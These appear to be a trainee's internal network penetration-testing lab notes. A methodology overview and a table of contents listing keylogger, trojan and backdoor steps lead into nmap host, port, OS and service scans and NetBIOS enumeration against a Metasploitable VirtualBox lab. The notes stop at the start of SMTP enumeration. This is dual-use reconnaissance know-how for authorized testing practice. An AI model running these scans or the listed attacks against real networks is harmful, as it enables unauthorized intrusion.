KUNAL JAWALE

Table of Contents – Internal Network Penetration Testing

1. Introduction

1.1 What Is Internal Network Penetration Testing

2. Objectives

3. Methodology (Step-by-Step)

4. Key Attack Vectors in Internal Testing

5. Tools Commonly Used

6. Best Practices for Internal Pentesting

7. Reporting Deliverables

8. Defensive Countermeasures to Expect

Practical Section

Step-1: Footprinting

1.1 Identify Hosts

Step-2: Network Scanning

2.1 Scan a Particular IP Address
2.2 Scan Multiple IP Addresses
2.3 Scan a Network for Open Ports

Step-3: OS and Service Fingerprinting

3.1 Identify the OS

Step-4: Enumeration

4.1 Perform NetBIOS Enumeration
4.2 Perform SMTP Enumeration
4.3 Perform SMB Enumeration

4.5 Sniff the Network
4.6 Capture HTTP Traffic
4.7 Capture Telnet Traffic

Step-5: Vulnerability Assessment

5.1 Perform Vulnerability Scanning Using Nmap
5.2 Map Service Versions to Associated Vulnerabilities

Step-6: Attempt MAC Flooding

Step-7: Conduct Man-in-the-Middle (MITM) Attack

Step-8: Attempt DNS Poisoning

Step-9: Attempt to Log in to Console Machine

Step-10: Extract Password Hashes / Crack Passwords

Step-11: Bypass Desktop Lockdown

Step-12: Escalate User Privileges

Step-13: Reset Local Administrator or Other User Account Password

Step-14: Plant a Software Keylogger to Steal Passwords

Step-15: Plant Spyware on Target Machine

Step-16: Plant a Trojan on Target Machine

Step-17: Create a Backdoor on Target Machine

Step-18: Create a Persistent Backdoor in Windows for Future Access

Step-19: Send a Virus Using Target Machine

Step-20: Hide Sensitive Data Using Steganography

Step-21: Capture Communication Between FTP Client and Server

Step-22: Capture HTTPS Traffic

Step-23: Spoof MAC Address

23.1 Spoof MAC Address on Linux Using macchanger
23.2 Spoof MAC Address on Windows Using TMAC

Step-24: Attempt Session Hijacking on Telnet Traffic

Step-25: Attempt Session Hijacking on FTP Traffic

Step-26: Automate Internal Network Penetration Testing and Exploitation

Step-27: Check Missing Security Patches and Patch Levels

27.1 Linux Systems
27.2 Windows Systems

Step-28: Cleanup – Reset to Pre-Engagement

Internal Network Penetration Testing –

What Is Internal Network Penetration Testing?

Definition:
An **internal network penetration test** simulates what an attacker could do **after gaining access to an organization's internal network**.
This could be:

- A malicious insider
- A compromised employee workstation
- An attacker who bypassed external defenses (e.g., phishing, VPN compromise)

Scope:

- Performed **inside** the network perimeter (LAN/WAN)

- Uses **the same IP range** or VLANs as employees
- Focuses on **lateral movement**, **privilege escalation**, and **data access**

Objectives

- **Assess internal defenses** against insider threats
- **Identify misconfigurations** in:
  - Active Directory ○ File shares
  - Network segmentation
- **Test privilege escalation paths**
- **Evaluate incident detection & response** readiness
- **Uncover sensitive data exposure**
- **Simulate post-compromise attack scenarios**

Methodology (Step-by-Step)

A **standard internal penetration testing methodology** often follows this flow:

Phase 1 — Pre-Engagement

- Define **scope** (IP ranges, VLANs, subnets)
- Obtain **written authorization** (Rules of Engagement) • Agree on **testing windows** (to avoid business disruption)
- Determine **goal-based testing**: ○ Steal sensitive data? ○ Gain Domain Admin?
  - Escalate privileges from user account?

Phase 2 — Information Gathering

- **Passive Recon** ○ Check DHCP leases ○ Review network diagrams (if provided)
    - Listen for broadcasts (NBNS, LLMNR)
- **Active Recon** ○ Network scanning (Nmap, Masscan) ○ Service enumeration (SMB, RDP, FTP, HTTP, SSH) ○ Identify OS and versions
- **Network Mapping**
    - Identify internal segmentation
    - Locate key servers (AD, DNS, file servers, databases)

Phase 3 — Vulnerability Analysis

- Check for **unpatched systems** (Nessus, OpenVAS)
- Identify **weak services** (SMBv1, outdated Apache/IIS)
- Look for **default credentials** in network devices
- Spot **legacy protocols** (Telnet, RDP without NLA)

Phase 4 — Exploitation

- Exploit known CVEs
- Attempt **SMB relay attacks** (via Responder + NTLM relay)
- Test **weak password policies**
- Exploit **misconfigured ACLs**
- Bypass segmentation via VLAN hopping

Phase 5 — Post-Exploitation

- **Privilege Escalation** ○ Windows: token impersonation, unquoted service paths
  - Linux: SUID binaries, kernel exploits
- **Credential Dumping**
  - Mimikatz, LSASS dump
- **Pivoting**
  - SSH tunneling, proxychains
- **Lateral Movement**
  - PsExec, RDP, WMI
- **Data Exfiltration Simulation**
  - Controlled file transfer to test DLP

Phase 6 — Persistence & Cleanup

- Test if persistence is possible (scheduled tasks, registry run keys)
- Remove:
  - Test accounts ○ Backdoors
  - Logs (only if authorized — often left for IR testing)

Phase 7 — Reporting

- Executive summary (business impact)
- Technical findings (with PoC)

- Risk ratings (CVSS)
- Mitigation recommendations

Key Attack Vectors in Internal Testing

- **Active Directory Misconfigurations** ○ Weak Kerberos tickets (Kerberoasting) ○ Over-permissive ACLs
  - Passwords in GPOs
- **Network Protocol Abuse** ○ LLMNR/NBNS poisoning ○ SMB relay attacks
  - NetBIOS spoofing
- **Endpoint Weaknesses**
  - Local admin reuse
  - Missing endpoint protection
- **Segmentation Failures**
  - Jump from guest VLAN to production VLAN
  - Access to restricted SCADA networks

Tools Commonly Used

Phase	**Tools**
Recon	Nmap, Netdiscover, ARP-scan, Wireshark
Vuln Scanning	Nessus, OpenVAS, Nexpose
Exploitation	Metasploit, CrackMapExec, Responder

Post-Exploitation	Mimikatz, BloodHound, Empire, Cobalt Strike
Lateral Movement	PsExec, SMBexec, RDP, SharpHound
Pivoting	Chisel, SSH tunnels, proxychains

Best Practices for Internal Pentesting

- Always **start as a low-privilege user**
- Respect **change management** (don't crash production)
- Avoid **DoS** unless specifically authorized
- Keep **detailed notes** for reproducibility
- Follow **kill-switch protocol** in case of system instability

---

Reporting Deliverables

- **Executive Report**: Business impact + risk
- **Technical Report**: Vulnerabilities, PoCs, screenshots
- **Remediation Plan**: Actionable steps prioritized by risk

Defensive Countermeasures to Expect

(Things that will make your life harder — and you should test if they work)

- **Network Segmentation** with ACLs
- **Endpoint Detection & Response (EDR)**
- **Privileged Access Management**
- **Network Access Control (802.1X)**

- **SIEM alerting** on suspicious activities

Step-1 Footprinting

Step1.1 – Identify Hosts

- Open kali linux terminal and enter following nmap command for identify hosts on target network

Command -: nmap -PS < target ip with subnet >

- Scanning Started

- **Result – 6 Hosts up**

Task 2 network Scanning

- Scan a network /192.168.129.221/24

```
┌──(root㉿vbox)-[/home/mayur]
└─# nmap -v -A -T4 192.168.129.221
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-07-31 20:09 IST
NSE: Loaded 156 scripts for scanning.
NSE: Script Pre-scanning.
Initiating NSE at 20:09
Completed NSE at 20:09, 0.00s elapsed
Initiating NSE at 20:09
Completed NSE at 20:09, 0.00s elapsed
Initiating NSE at 20:09
Completed NSE at 20:09, 0.00s elapsed
Initiating Ping Scan at 20:09
Scanning 192.168.129.221 [4 ports]
Completed Ping Scan at 20:09, 0.14s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 20:09
Completed Parallel DNS resolution of 1 host. at 20:09, 0.03s elapsed
Initiating SYN Stealth Scan at 20:09
Scanning 192.168.129.221 [1000 ports]
Completed SYN Stealth Scan at 20:09, 10.14s elapsed (1000 total ports)
Initiating Service scan at 20:09
Initiating OS detection (try #1) against 192.168.129.221
Retrying OS detection (try #2) against 192.168.129.221
Initiating Traceroute at 20:09
Completed Traceroute at 20:09, 0.12s elapsed
Initiating Parallel DNS resolution of 5 hosts. at 20:09
Completed Parallel DNS resolution of 5 hosts. at 20:09, 0.05s elapsed
NSE: Script scanning 192.168.129.221.
Initiating NSE at 20:09
```

```
Nmap scan report for 192.168.139.74
Host is up (0.0047s latency).
All 1000 scanned ports on 192.168.139.74 are in ignored states.
Not shown: 1000 closed tcp ports (reset)
MAC Address: 2C:3B:70:9C:E4:A7 (AzureWave Technology)

Nmap scan report for 192.168.139.118
Host is up (0.0010s latency).
All 1000 scanned ports on 192.168.139.118 are in ignored states.
Not shown: 1000 filtered tcp ports (no-response)
MAC Address: 08:D2:3E:0B:F1:62 (Intel Corporate)

Nmap scan report for 192.168.139.221
Host is up (0.0034s latency).
Not shown: 999 closed tcp ports (reset)
PORT   STATE SERVICE
53/tcp open  domain
MAC Address: 42:4F:E8:BE:07:E0 (Unknown)

Nmap scan report for 192.168.139.254
Host is up (0.019s latency).
Not shown: 997 filtered tcp ports (no-response)
PORT    STATE SERVICE
135/tcp open  msrpc
139/tcp open  netbios-ssn
445/tcp open  microsoft-ds
MAC Address: 2C:3B:70:9C:E4:A7 (AzureWave Technology)
```

Task2 specifice ip address scan

Ip add 192.168.139.118, Ip add 192.168.139.45,

Ip add 192.168.139.46

Step1 192.168.139.118 scan the network

Command: nmap –v -sT192.168.139.118

Step2 192.168.139.118

Command nmap –v –sS 192.168.139.118

Step3 192.168.139.118

Command nmap –v –sX 192.168.139.118

Lab 3 scan multiple ip in network

Step1

Ip add 192.168.0.149, Ip add 192.168.0.159,

Ip add 192.168.0.200

Lab4 scan the network live host scan

Step1 start the kali linux and open the nmap scan the network

Command nmap –v –sn 192.168.139.221/24

Result: identify the 5 host is up

Task3 OS and service fingerprinting

Step1 start the kali linux and open the nmap

Command nmap –v -O –sV 192.168.139.221

```
Retrying OS detection (try #5) against 192.168.139.221
Nmap scan report for 192.168.139.45
Host is up (0.00089s latency).
Not shown: 977 closed tcp ports (reset)
PORT     STATE SERVICE
21/tcp   open  ftp
22/tcp   open  ssh
23/tcp   open  telnet
25/tcp   open  smtp
53/tcp   open  domain
80/tcp   open  http
111/tcp  open  rpcbind
139/tcp  open  netbios-ssn
445/tcp  open  microsoft-ds
512/tcp  open  exec
513/tcp  open  login
514/tcp  open  shell
1099/tcp open  rmiregistry
1524/tcp open  ingreslock
2049/tcp open  nfs
2121/tcp open  ccproxy-ftp
3306/tcp open  mysql
5432/tcp open  postgresql
5900/tcp open  vnc
```

```
3306/tcp open  mysql
5432/tcp open  postgresql
5900/tcp open  vnc
6000/tcp open  X11
6667/tcp open  irc
8009/tcp open  ajp13
8180/tcp open  unknown
MAC Address: 08:00:27:37:3B:8C (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 2.6.X
OS CPE: cpe:/o:linux:linux_kernel:2.6
OS details: Linux 2.6.9 - 2.6.33
Uptime guess: 0.004 days (since Mon Aug  4 09:49:34 2025)
Network Distance: 1 hop
TCP Sequence Prediction: Difficulty=205 (Good luck!)
IP ID Sequence Generation: All zeros

Nmap scan report for 192.168.139.74
Host is up (0.0052s latency).
All 1000 scanned ports on 192.168.139.74 are in ignored states.
Not shown: 1000 closed tcp ports (reset)
MAC Address: 2C:3B:70:9C:E4:A7 (AzureWave Technology)
Too many fingerprints match this host to give specific OS details
Network Distance: 1 hop
```

```
IP ID Sequence Generation: All zeros

Nmap scan report for 192.168.139.74
Host is up (0.0052s latency).
All 1000 scanned ports on 192.168.139.74 are in ignored states.
Not shown: 1000 closed tcp ports (reset)
MAC Address: 2C:3B:70:9C:E4:A7 (AzureWave Technology)
Too many fingerprints match this host to give specific OS details
Network Distance: 1 hop

Nmap scan report for 192.168.139.91
Host is up (0.00063s latency).
All 1000 scanned ports on 192.168.139.91 are in ignored states.
Not shown: 1000 filtered tcp ports (no-response)
MAC Address: 08:00:27:D5:39:1E (Oracle VirtualBox virtual NIC)
Too many fingerprints match this host to give specific OS details
Network Distance: 1 hop

Nmap scan report for 192.168.139.118
Host is up (0.00071s latency).
Not shown: 995 closed tcp ports (reset)
PORT    STATE SERVICE
135/tcp open  msrpc
139/tcp open  netbios-ssn
```

```
TCP Sequence Prediction: Difficulty=249 (Good luck!)
IP ID Sequence Generation: All zeros

Nmap scan report for 192.168.139.254
Host is up (0.0060s latency).
Not shown: 997 filtered tcp ports (no-response)
PORT    STATE SERVICE
135/tcp open  msrpc
139/tcp open  netbios-ssn
445/tcp open  microsoft-ds
MAC Address: 2C:3B:70:9C:E4:A7 (AzureWave Technology)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose|phone|specialized
Running (JUST GUESSING): Microsoft Windows 11|10|2022|2008|Phone|7 (96%)
OS CPE: cpe:/o:microsoft:windows_10 cpe:/o:microsoft:windows_server_2008::sp1 cpe:/o:microsoft:windows cpe:/o:m
icrosoft:windows_7
Aggressive OS guesses: Microsoft Windows 11 21H2 (96%), Microsoft Windows 10 (91%), Microsoft Windows Server 20
22 (89%), Microsoft Windows Server 2008 SP1 (88%), Microsoft Windows Phone 7.5 or 8.0 (88%), Microsoft Windows
Embedded Standard 7 (87%), Microsoft Windows 10 1511 - 1607 (86%)
No exact OS matches for host (test conditions non-ideal).
Uptime guess: 0.039 days (since Mon Aug  4 08:58:32 2025)
Network Distance: 1 hop
TCP Sequence Prediction: Difficulty=262 (Good luck!)
IP ID Sequence Generation: Incremental
```

Lab 2 identify the service

Step1 start the kali linux and open the nmap

Command nmap –v –sV 192.168.139.221/24

```
┌──(root㉿mayur)-[/home/mayur]
└─# nmap -v -sV 192.168.139.221/24
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-08-04 10:13 EDT
NSE: Loaded 46 scripts for scanning.
Initiating ARP Ping Scan at 10:13
Scanning 255 hosts [1 port/host]
Completed ARP Ping Scan at 10:13, 2.54s elapsed (255 total hosts)
Initiating Parallel DNS resolution of 5 hosts. at 10:13
Completed Parallel DNS resolution of 5 hosts. at 10:13, 0.51s elapsed
Nmap scan report for 192.168.139.0 [host down]
Nmap scan report for 192.168.139.1 [host down]
Nmap scan report for 192.168.139.2 [host down]
Nmap scan report for 192.168.139.3 [host down]
Nmap scan report for 192.168.139.4 [host down]
Nmap scan report for 192.168.139.5 [host down]
Nmap scan report for 192.168.139.6 [host down]
Nmap scan report for 192.168.139.7 [host down]
Nmap scan report for 192.168.139.8 [host down]
Nmap scan report for 192.168.139.9 [host down]
Nmap scan report for 192.168.139.10 [host down]
Nmap scan report for 192.168.139.11 [host down]
Nmap scan report for 192.168.139.12 [host down]
Nmap scan report for 192.168.139.13 [host down]
```

```
Completed SYN Stealth Scan at 10:14, 9.14s elapsed (5000 total ports)
Initiating Service scan at 10:14
Scanning 32 services on 5 hosts
Completed Service scan at 10:14, 21.79s elapsed (32 services on 5 hosts)
NSE: Script scanning 5 hosts.
Initiating NSE at 10:14
Completed NSE at 10:14, 0.44s elapsed
Initiating NSE at 10:14
Completed NSE at 10:14, 0.10s elapsed
Nmap scan report for 192.168.139.45
Host is up (0.0010s latency).
Not shown: 977 closed tcp ports (reset)
PORT     STATE SERVICE     VERSION
21/tcp   open  ftp         vsftpd 2.3.4
22/tcp   open  ssh         OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
23/tcp   open  telnet      Linux telnetd
25/tcp   open  smtp        Postfix smtpd
53/tcp   open  domain      ISC BIND 9.4.2
80/tcp   open  http        Apache httpd 2.2.8 ((Ubuntu) DAV/2)
111/tcp  open  rpcbind     2 (RPC #100000)
139/tcp  open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp  open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
512/tcp  open  exec        netkit-rsh rexecd
513/tcp  open  login       OpenBSD or Solaris rlogind
```

```
514/tcp  open  shell       Netkit rshd
1099/tcp open  java-rmi    GNU Classpath grmiregistry
1524/tcp open  bindshell   Metasploitable root shell
2049/tcp open  nfs         2-4 (RPC #100003)
2121/tcp open  ftp         ProFTPD 1.3.1
3306/tcp open  mysql       MySQL 5.0.51a-3ubuntu5
5432/tcp open  postgresql  PostgreSQL DB 8.3.0 - 8.3.7
5900/tcp open  vnc         VNC (protocol 3.3)
6000/tcp open  X11         (access denied)
6667/tcp open  irc         UnrealIRCd
8009/tcp open  ajp13       Apache Jserv (Protocol v1.3)
8180/tcp open  http        Apache Tomcat/Coyote JSP engine 1.1
MAC Address: 08:00:27:37:3B:8C (Oracle VirtualBox virtual NIC)
Service Info: Hosts:  metasploitable.localdomain, irc.Metasploitable.LAN; OSs: Unix, Linux; CPE: cpe:/o:linux:l
inux_kernel

Nmap scan report for 192.168.139.91
Host is up (0.0022s latency).
All 1000 scanned ports on 192.168.139.91 are in ignored states.
Not shown: 1000 filtered tcp ports (no-response)
MAC Address: 08:00:27:D5:39:1E (Oracle VirtualBox virtual NIC)

Nmap scan report for 192.168.139.118
Host is up (0.00056s latency).
```

```
Not shown: 995 closed tcp ports (reset)
PORT     STATE SERVICE         VERSION
135/tcp open  msrpc            Microsoft Windows RPC
139/tcp open  netbios-ssn      Microsoft Windows netbios-ssn
445/tcp open  microsoft-ds?
902/tcp open  ssl/vmware-auth VMware Authentication Daemon 1.10 (Uses VNC, SOAP)
912/tcp open  vmware-auth      VMware Authentication Daemon 1.0 (Uses VNC, SOAP)
MAC Address: 08:D2:3E:0B:F1:62 (Intel Corporate)
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Nmap scan report for 192.168.139.221
Host is up (0.0033s latency).
Not shown: 999 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
53/tcp open  domain  dnsmasq 2.51
MAC Address: BA:D0:93:84:47:8D (Unknown)

Nmap scan report for 192.168.139.254
Host is up (0.014s latency).
Not shown: 997 filtered tcp ports (no-response)
PORT     STATE SERVICE        VERSION
135/tcp open  msrpc           Microsoft Windows RPC
139/tcp open  netbios-ssn     Microsoft Windows netbios-ssn
445/tcp open  microsoft-ds?
```

Lab3 map the internal Network

Step1 start the kali linux and open the nmap

Command nmap –v –A –T4 192.168.139/24

```
┌──(root㉿mayur)-[/home/mayur]
└─# nmap -v -A -T4 192.168.139.221/24
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-08-04 10:35 EDT
NSE: Loaded 156 scripts for scanning.
NSE: Script Pre-scanning.
Initiating NSE at 10:35
Completed NSE at 10:35, 0.00s elapsed
Initiating NSE at 10:35
Completed NSE at 10:35, 0.00s elapsed
Initiating NSE at 10:35
Completed NSE at 10:35, 0.00s elapsed
Initiating ARP Ping Scan at 10:35
Scanning 255 hosts [1 port/host]
Completed ARP Ping Scan at 10:35, 5.99s elapsed (255 total hosts)
Initiating Parallel DNS resolution of 6 hosts. at 10:35
Completed Parallel DNS resolution of 6 hosts. at 10:35, 0.07s elapsed
Nmap scan report for 192.168.139.0 [host down]
Nmap scan report for 192.168.139.1 [host down]
Nmap scan report for 192.168.139.2 [host down]
Nmap scan report for 192.168.139.3 [host down]
Nmap scan report for 192.168.139.4 [host down]
Nmap scan report for 192.168.139.5 [host down]
Nmap scan report for 192.168.139.6 [host down]
```

```
Discovered open port 912/tcp on 192.168.139.118
Completed SYN Stealth Scan against 192.168.139.45 in 5.37s (5 hosts left)
Completed SYN Stealth Scan against 192.168.139.221 in 5.47s (4 hosts left)
Discovered open port 902/tcp on 192.168.139.118
Completed SYN Stealth Scan against 192.168.139.118 in 8.04s (3 hosts left)
Completed SYN Stealth Scan against 192.168.139.95 in 8.49s (2 hosts left)
Completed SYN Stealth Scan against 192.168.139.91 in 10.96s (1 host left)
Completed SYN Stealth Scan at 10:36, 13.16s elapsed (6000 total ports)
Initiating Service scan at 10:36
Scanning 32 services on 6 hosts
Completed Service scan at 10:36, 21.17s elapsed (32 services on 6 hosts)
Initiating OS detection (try #1) against 6 hosts
Retrying OS detection (try #2) against 5 hosts
Retrying OS detection (try #3) against 2 hosts
Retrying OS detection (try #4) against 2 hosts
Retrying OS detection (try #5) against 2 hosts
NSE: Script scanning 6 hosts.
Initiating NSE at 10:36
NSE: [ftp-bounce] PORT response: 500 Illegal PORT command.
Completed NSE at 10:37, 40.82s elapsed
Initiating NSE at 10:37
Completed NSE at 10:37, 0.72s elapsed
Initiating NSE at 10:37
Completed NSE at 10:37, 0.00s elapsed
```

```
PORT     STATE SERVICE     VERSION
21/tcp   open  ftp         vsftpd 2.3.4
| ftp-syst:
|   STAT:
| FTP server status:
|      Connected to 192.168.139.97
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      vsFTPd 2.3.4 - secure, fast, stable
|_End of status
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
22/tcp   open  ssh         OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
| ssh-hostkey:
|   1024 60:0f:cf:e1:c0:5f:6a:74:d6:90:24:fa:c4:d5:6c:cd (DSA)
|_  2048 56:56:24:0f:21:1d:de:a7:2b:ae:61:b1:24:3d:e8:f3 (RSA)
23/tcp   open  telnet      Linux telnetd
25/tcp   open  smtp        Postfix smtpd
| sslv2:
|   SSLv2 supported
|   ciphers:
```

```
| dns-nsid:
|_  bind.version: 9.4.2
80/tcp   open  http        Apache httpd 2.2.8 ((Ubuntu) DAV/2)
|_http-title: Metasploitable2 - Linux
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.2.8 (Ubuntu) DAV/2
111/tcp  open  rpcbind     2 (RPC #100000)
| rpcinfo:
|   program version    port/proto  service
|   100000  2            111/tcp   rpcbind
|   100000  2            111/udp   rpcbind
|   100003  2,3,4       2049/tcp   nfs
|   100003  2,3,4       2049/udp   nfs
|   100005  1,2,3      48144/tcp   mountd
|   100005  1,2,3      56109/udp   mountd
|   100021  1,3,4      47676/tcp   nlockmgr
|   100021  1,3,4      49629/udp   nlockmgr
|   100024  1          39096/tcp   status
|_  100024  1          42113/udp   status
139/tcp  open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp  open  netbios-ssn Samba smbd 3.0.20-Debian (workgroup: WORKGROUP)
512/tcp  open  exec        netkit-rsh rexecd
513/tcp  open  login       OpenBSD or Solaris rlogind
```

```
|   Thread ID: 9
|   Capabilities flags: 43564
|   Some Capabilities: Speaks41ProtocolNew, LongColumnFlag, Support41Auth, ConnectWithDatabase, SwitchToSSLAfte
rHandshake, SupportsTransactions, SupportsCompression
|   Status: Autocommit
|_  Salt: WC(>AimhDYrS'gSIUPpc
5432/tcp open  postgresql  PostgreSQL DB 8.3.0 - 8.3.7
|_ssl-date: 2025-08-04T14:40:36+00:00; +3m20s from scanner time.
| ssl-cert: Subject: commonName=ubuntu804-base.localdomain/organizationName=OCOSA/stateOrProvinceName=There is
no such thing outside US/countryName=XX
| Issuer: commonName=ubuntu804-base.localdomain/organizationName=OCOSA/stateOrProvinceName=There is no such thi
ng outside US/countryName=XX
| Public Key type: rsa
| Public Key bits: 1024
| Signature Algorithm: sha1WithRSAEncryption
| Not valid before: 2010-03-17T14:07:45
| Not valid after:  2010-04-16T14:07:45
| MD5:   dcd9:ad90:6c8f:2f73:74af:383b:2540:8828
|_SHA-1: ed09:3088:7066:03bf:d5dc:2373:99b4:98da:2d4d:31c6
5900/tcp open  vnc         VNC (protocol 3.3)
| vnc-info:
|   Protocol version: 3.3
|   Security types:
|_    VNC Authentication (2)
```

```
MAC Address: 08:00:27:37:3B:8C (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 2.6.X
OS CPE: cpe:/o:linux:linux_kernel:2.6
OS details: Linux 2.6.9 - 2.6.33
Uptime guess: 0.033 days (since Mon Aug  4 09:49:36 2025)
Network Distance: 1 hop
TCP Sequence Prediction: Difficulty=199 (Good luck!)
IP ID Sequence Generation: All zeros
Service Info: Hosts:  metasploitable.localdomain, irc.Metasploitable.LAN; OSs: Unix, Linux; CPE: cpe:/o:linux:l
inux_kernel

Host script results:
|_smb2-time: Protocol negotiation failed (SMB2)
|_clock-skew: mean: 1h03m20s, deviation: 2h00m00s, median: 3m19s
| smb-os-discovery:
|   OS: Unix (Samba 3.0.20-Debian)
|   Computer name: metasploitable
|   NetBIOS computer name:
|   Domain name: localdomain
|   FQDN: metasploitable.localdomain
|_  System time: 2025-08-04T10:39:56-04:00
| nbstat: NetBIOS name: METASPLOITABLE, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
| Names:
```

```
TRACEROUTE
HOP RTT     ADDRESS
1   1.88 ms 192.168.139.91

Nmap scan report for 192.168.139.95
Host is up (0.022s latency).
Not shown: 999 closed tcp ports (reset)
PORT     STATE    SERVICE VERSION
5060/tcp filtered sip
MAC Address: F6:5D:40:AC:C2:5E (Unknown)
Too many fingerprints match this host to give specific OS details
Network Distance: 1 hop

TRACEROUTE
HOP RTT      ADDRESS
1   21.78 ms 192.168.139.95

Nmap scan report for 192.168.139.118
Host is up (0.0012s latency).
Not shown: 995 closed tcp ports (reset)
PORT    STATE SERVICE         VERSION
135/tcp open  msrpc           Microsoft Windows RPC
139/tcp open  netbios-ssn     Microsoft Windows netbios-ssn
```

```
| dns-nsid:
|_  bind.version: dnsmasq-2.51
MAC Address: BA:D0:93:84:47:8D (Unknown)
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.94SVN%E=4%D=8/4%OT=53%CT=1%CU=41874%PV=Y%DS=1%DC=D%G=Y%M=BAD093
OS:%TM=6890C59C%P=x86_64-pc-linux-gnu)SEQ(SP=103%GCD=1%ISR=107%TI=Z%CI=Z%II
OS:=I%TS=A)OPS(O1=M5B4ST11NW9%O2=M5B4ST11NW9%O3=M5B4NNT11NW9%O4=M5B4ST11NW9
OS:%O5=M5B4ST11NW9%O6=M5B4ST11)WIN(W1=FFFF%W2=FFFF%W3=FFFF%W4=FFFF%W5=FFFF%
OS:W6=FFFF)ECN(R=Y%DF=Y%T=40%W=FFFF%O=M5B4NNSNW9%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S
OS:=O%A=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%R
OS:D=0%Q=)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=
OS:0%S=A%A=Z%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U
OS:1(R=Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DF
OS:I=N%T=40%CD=S)

Uptime guess: 14.529 days (since Sun Jul 20 21:55:01 2025)
Network Distance: 1 hop
TCP Sequence Prediction: Difficulty=259 (Good luck!)
IP ID Sequence Generation: All zeros

TRACEROUTE
HOP RTT     ADDRESS
1   3.83 ms 192.168.139.221
```

```
Completed NSE at 10:37, 0.00s elapsed
Initiating NSE at 10:37
Completed NSE at 10:37, 0.00s elapsed
Nmap scan report for 192.168.139.97
Host is up (0.000096s latency).
All 1000 scanned ports on 192.168.139.97 are in ignored states.
Not shown: 1000 closed tcp ports (reset)
Too many fingerprints match this host to give specific OS details
Network Distance: 0 hops

NSE: Script Post-scanning.
Initiating NSE at 10:37
Completed NSE at 10:37, 0.00s elapsed
Initiating NSE at 10:37
Completed NSE at 10:37, 0.00s elapsed
Initiating NSE at 10:37
Completed NSE at 10:37, 0.00s elapsed
Read data files from: /usr/bin/../share/nmap
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 256 IP addresses (7 hosts up) scanned in 96.16 seconds
           Raw packets sent: 9890 (447.686KB) | Rcvd: 6258 (267.374KB)

┌──(root㉿mayur)-[/home/mayur]
└─#
```

Task4 Enumeration

Lab1 perfrome netbios enumeration

Nmap -v -p 138,139 –script nbstat 192.168.0.118

```
QUITTING!

┌──(root㉿mayur)-[/usr/share/nmap/scripts]
└─# nmap -v -p 138,139 --script nbstat 192.168.0.118
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-08-08 01:40 EDT
NSE: Loaded 1 scripts for scanning.
NSE: Script Pre-scanning.
Initiating NSE at 01:40
Completed NSE at 01:40, 0.00s elapsed
Initiating ARP Ping Scan at 01:40
Scanning 192.168.0.118 [1 port]
Completed ARP Ping Scan at 01:40, 0.11s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 01:40
Completed Parallel DNS resolution of 1 host. at 01:40, 0.01s elapsed
Initiating SYN Stealth Scan at 01:40
Scanning 192.168.0.118 [2 ports]
Discovered open port 139/tcp on 192.168.0.118
Completed SYN Stealth Scan at 01:40, 0.03s elapsed (2 total ports)
NSE: Script scanning 192.168.0.118.
Initiating NSE at 01:40
Completed NSE at 01:40, 0.01s elapsed
Nmap scan report for 192.168.0.118
Host is up (0.0013s latency).

PORT    STATE  SERVICE
138/tcp closed netbios-dgm
139/tcp open   netbios-ssn
MAC Address: 08:00:27:37:3B:8C (Oracle VirtualBox virtual NIC)

Host script results:
```

```
NSE: Script scanning 192.168.0.118.
Initiating NSE at 01:40
Completed NSE at 01:40, 0.01s elapsed
Nmap scan report for 192.168.0.118
Host is up (0.0013s latency).

PORT    STATE  SERVICE
138/tcp closed netbios-dgm
139/tcp open   netbios-ssn
MAC Address: 08:00:27:37:3B:8C (Oracle VirtualBox virtual NIC)

Host script results:
| nbstat: NetBIOS name: METASPLOITABLE, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
| Names:
|   METASPLOITABLE<00>   Flags: <unique><active>
|   METASPLOITABLE<03>   Flags: <unique><active>
|   METASPLOITABLE<20>   Flags: <unique><active>
|   WORKGROUP<00>        Flags: <group><active>
|   WORKGROUP<1e>        Flags: <group><active>
| Statistics:
|   00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00
|   00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00
|_  00:00:00:00:00:00:00:00:00:00:00:00:00:00

NSE: Script Post-scanning.
Initiating NSE at 01:40
Completed NSE at 01:40, 0.00s elapsed
Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 0.34 seconds
           Raw packets sent: 3 (116B) | Rcvd: 3 (112B)
```

Lab2 perfrome smtp enumeration

Step1 start the kali linux machine

Step2 using nmap script

```
┌──(root㉿mayur)-[/]
└─# cd /usr/share/nmap/scripts

